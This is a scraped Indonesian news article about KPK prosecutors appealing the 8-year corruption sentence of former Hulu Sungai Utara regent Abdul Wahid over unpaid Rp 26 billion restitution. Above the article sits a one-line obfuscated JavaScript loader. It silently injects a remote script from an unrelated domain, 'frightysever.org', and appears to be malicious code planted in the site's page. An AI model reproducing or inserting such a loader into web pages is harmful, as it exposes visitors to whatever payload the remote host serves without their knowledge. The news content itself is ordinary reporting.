(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Jaksa Penuntut Umum (JPU) KPK, akhirnya mengajukan banding atas vonis eks Bupati Hulu Sungai Utara (HSU), Abdul Wahid di Pengadilan Tipikor Banjarmasin dengan hukuman penjara selama 8 tahun.
Dalam vonisnya juga, hakim tidak menjatuhi hukuman terdakwa Abdul Wahid untuk membayar uang pengganti mencapai Rp 26 miliar.
Lantas hal itu membuat Tito Jaelani selaku jaksa dari KPK merasa vonis tersebut tidak memberikan efek jera terhadap para koruptor. Padahal asset recovery melalui tuntutan uang pengganti dan perampasan asetnya merupakan fokus dari KPK.
Ali Fikri, Kepala Bagian Pemberitaan KPK saat dikonfirmasi menegaskan, pihaknya menyatakan banding dengan alasan salah satunya karena dalam putusan Abdul Wahid, hakim tidak menjatuhi hukuman membayar uang pengganti mencapai Rp 26 miliar.
Baca juga : Tanpa PRIMA, KPU Banjar Verifikasi 23 Parpol Terdaftar Pemilu 2024
“Alasan banding dari tim Jaksa, antara lain karena tidak dijatuhkannya putusan Hakim terkait pembebanan kewajiban uang pengganti Rp 26 Miliar terhadap terdakwa,” kata Kepala Bagian Pemberitaan KPK, Ali Fikri dikonfirmasi, oleh suara.com mitra Kanalkalimantan.com, Selasa (23/8/2022).
Ali menyebut Jaksa KPK dalam tuntutannya sudah menguraikan berbagai penerimaan oleh terdakwa Abdul Wahid yang dirubah berbagai bentuk menjadi aset-aset yang bernilai ekonomis.
“Sebagai efek jera terhadap para koruptor, KPK tidak hanya memenjarakan pelakunya, namun upaya asset recovery melalui tuntutan uang pengganti dan perampasan asetnya menjadi fokus KPK saat ini,” ujar Ali.
Maka itu, KPK berharap majelis hakim pada tingkat banding mempertimbangkan dan memutus sesuai dengan surat tuntutan tim Jaksa KPK.
Baca juga : Pekerja Bangunan Tewas, Dinas PUPRP Banjar Turunkan Tim Investigasi IMB
“Sesuai dengan argumentasi hukum yang disampaikan tim jaksa sebagaimana surat tuntutan,” imbuhnya.
Seperti diketahui putusan majelis hakim lebih ringan dari tuntutan jaksa KPK menjatuhkan sembilan tahun penjara.
Dalam tuntutannya, jaksa KPK juga membebani uang pengganti terhadap terdakwa Abdul Wahid senilai Rp 26 Miliar. Lantaran Abdul diduga kuat menerima suap dan gratifikasi terkait sejumlah pengerjaan proyek di Kabupaten Hulu Sungai Utara mencapai puluhan miliar.
Eks Bupati Hulu Sungai Utara (HSU) Abdul Wahid divonis 8 tahun penjara dan denda Rp 500.000.000 subsider 6 bulan penjara oleh majelis hakim di Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin, Senin (15/8/2022).
Baca juga : Lanjutan Pembahasan KUA-PPAS APBD Perubahan 2022 di DPRD Kapuas
Vonis tersebut langsung dibacakan ketua majelis hakim Yusriansyah bersama dua anggota majelis hakim lainnya pada persidangan yang terbuka untuk umum yang dimulai dari pukul 13:00 Wita sampai dengan sekitar 15:30 Wita.
“Menjatuhkan vonis penjara selama 8 tahun dan denda sebesar 500 juta rupiah dengan ketentuan jika denda tersebut tidak dibayar diganti dengan 6 bulan penjara,” kata Ketua Majelis Hakim.
Sebelumnya Bupati HSU non aktif H Abdul Wahid terjerat tidak pidana pencucian uang dengan menerima suap terkait jual beli jabatan di lingkungan Pemkab HSU, serta gratifikasi dari proyek-proyek di Dinas PUPRP Hulu Sungai Utara.(Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : cell
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
This website uses cookies.